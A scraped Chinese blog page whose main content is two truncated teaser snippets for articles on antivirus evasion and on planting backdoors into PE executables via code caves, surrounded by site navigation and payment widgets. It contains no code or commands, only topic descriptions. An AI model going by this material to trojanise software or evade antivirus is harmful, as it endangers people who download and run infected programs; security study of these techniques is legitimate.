本文讲的是免杀的艺术:PE文件后门的植入(二), 在上一篇《免杀的艺术 1》中,我们详细列举了各种实现免杀的技术。 今天,我们将继续为大家进行免杀的话题——PE文件后门的植入, 不过还是和上一篇一样,我们建议读者需要了解x86程序集,调试器和PE文件的基本知识。 现在几乎所有的安全研究人员,安全测试人员和恶意软件分析人员每天都要处理各种各样与后门攻击相...

weixin_34109408的博客 800

反病毒攻防研究第002篇:利用缝隙实现代码的植入

一、前言 现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机。黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大。而...

墨鱼菜鸡 318
上一篇: Award版Bios内部结构及加载过程简单说明
下一篇: 决战未解析的外部符号
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值